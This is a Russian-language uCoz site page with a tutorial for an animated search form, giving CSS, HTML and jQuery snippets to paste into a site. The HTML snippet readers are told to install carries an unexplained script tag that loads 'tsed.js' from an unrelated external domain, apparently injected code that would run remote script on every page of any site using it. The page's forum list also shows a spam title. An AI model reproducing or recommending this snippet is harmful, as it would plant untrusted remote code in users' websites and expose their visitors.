Галерея лучших современников и их творческих работ
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Язык сайта
Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории раздела
Полезности для сайтов ucoz [134]
Поиск
Новенькие на сайте
alexxserx
↓ ↓ ↓ ↓ ↓
lenyavalis1970
↓ ↓ ↓ ↓ ↓
bibigon2009
↓ ↓ ↓ ↓ ↓
adelgumerova
↓ ↓ ↓ ↓ ↓
cortjohn2018
↓ ↓ ↓ ↓ ↓
rbadertdinov
↓ ↓ ↓ ↓ ↓
KuznetzovapCT
↓ ↓ ↓ ↓ ↓
cecfjgmuraniench
↓ ↓ ↓ ↓ ↓
Новое на форуме
  • Виагра купить цена
  • Продолжается восстановление Успенского собора Киево-печерской Лавры
  • Война. Оружие. Пули. И все что из этого может получиться
  • Романизм
  • Ренессанс
  • Словарь
    Китч.
    [Раздел под буквой - [К]]
    Шмуцтитул.
    [Раздел под буквой - [Ш]]
    Хай-тек.
    [Раздел под буквой - [Х]]
    Пигменты.
    [Раздел под буквой - [П]]
    Фронтиспис.
    [Раздел под буквой - [Ф]]
    Главная » 2012 » Декабрь » 23 » Форма поиска для Ucoz
    18:44
    Форма поиска для Ucoz
    Первое состояние, изображение лупы.
    Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
    Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

    Итак давайте приступим к установке:
    Установка CSS

    Код
    #search {
      font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
      background:#fff;
      width: 8px;
      padding: 0 8px;
      height: 24px;
      font-size: 14px;
      color: #666;
      line-height: 24px;
      border: 0;
      outline: none;
      border-radius: 50px;
      position: relative;
      z-index: 5;
      -moz-transition: .1s ease;
      -ms-transition: .1s ease;
      -webkit-transition: .1s ease;
      -o-transition: .1s ease;
      transition: .1s ease;
      cursor:pointer;
    }
    #search:focus {
      border: 0;
      outline: none;
      width: 180px; /*ширина открытой формы*/
    }
    p.s {
      z-index: 4;
      position: relative;
      padding: 6px;
      border-radius: 100px;
      background: #abc8df;
      display: inline-block;
      cursor:pointer;
    }
    p.s:hover, p.s:hover:after {
      background: #9eb9cf;
    }
    p.s_fo {
      -o-transition: 0.9s;
      -moz-transition: 0.9s;
      -ms-transition: 0.9s;
      -webkit-transition: 0.9s;
      transition: 0.9s;
      -moz-transform: rotate(1080deg);
      -ms-transform: rotate(1080deg);
      -webkit-transform: rotate(1080deg);
      -o-transform: rotate(1080deg);
      transform: rotate(1080deg);
    }
    p.s:after {
      content: '';
      display: block;
      position: absolute;
      width: 7px;
      height: 12px;
      background: #abc8df;
      bottom: -4px;
      right: -2px;
      border-radius: 0 0 5px 5px;
      -moz-transform: rotate(-45deg);
      -ms-transform: rotate(-45deg);
      -webkit-transform: rotate(-45deg);
      -o-transform: rotate(-45deg);
      transform: rotate(-45deg);
    }
    .blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
    .blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
    .green p.s, .green p.s:after {background:#65b11c;}
    .green p.s:hover, .green p.s:hover:after {background:#599c18;}
    .gray p.s, .gray p.s:after {background:#d7d7d7;}
    .gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
    .pink p.s, .pink p.s:after {background:#ffbcef;}
    .pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
    .orange p.s, .orange p.s:after {background:#faaa3a;}
    .orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
    .black p.s, .black p.s:after {background:#676767;}
    .black p.s:hover, .black p.s:hover:after {background:#484747;}


    Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
    Установка HTML

    Код
    <form method="get" action="/search/" class="blue">
      <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
    </form>


    Устанавливаем в то месте где хотим видеть...
    Установка JS

    Код
    <script>
    jQuery(document).ready(function () {
      $('#search').focusout(function(){
      $('p.s').addClass("s_fo");
      });
      $('#search').focusin(function(){
      $('p.s').removeClass("s_fo");
      });
    });
    </script>


    Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

    Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

    blue - голубой
    green - зеленый
    gray - серый
    pink - розовый
    orange - оранжевый
    black - черный

    Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

    Понравилась статья? Оставьте свое мнение в комментариях к ней...
    Категория: Полезности для сайтов ucoz | Просмотров: 439 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Профиль
    Гость




    Группа:
    Гости

    Мы очень рады что вы зашли к нам.
    Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Случайные работы
    Друзья сайта
  • All-Art.do.am - все об искусстве! Стили, направления, художники, иконопись и т.д.

  • Tatyana_Art - Кое-что о компьютерной графике. Портфолио. Уроки компьютерной графики (2D и 3D)

  • Галерея иконописи и убранств храмов

  • Галерея мировых шедевров

  • Галерея лучших художников 20 века

  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Copyright MyCorp © 2024
    Бесплатный хостинг uCoz




    Rambler's Top100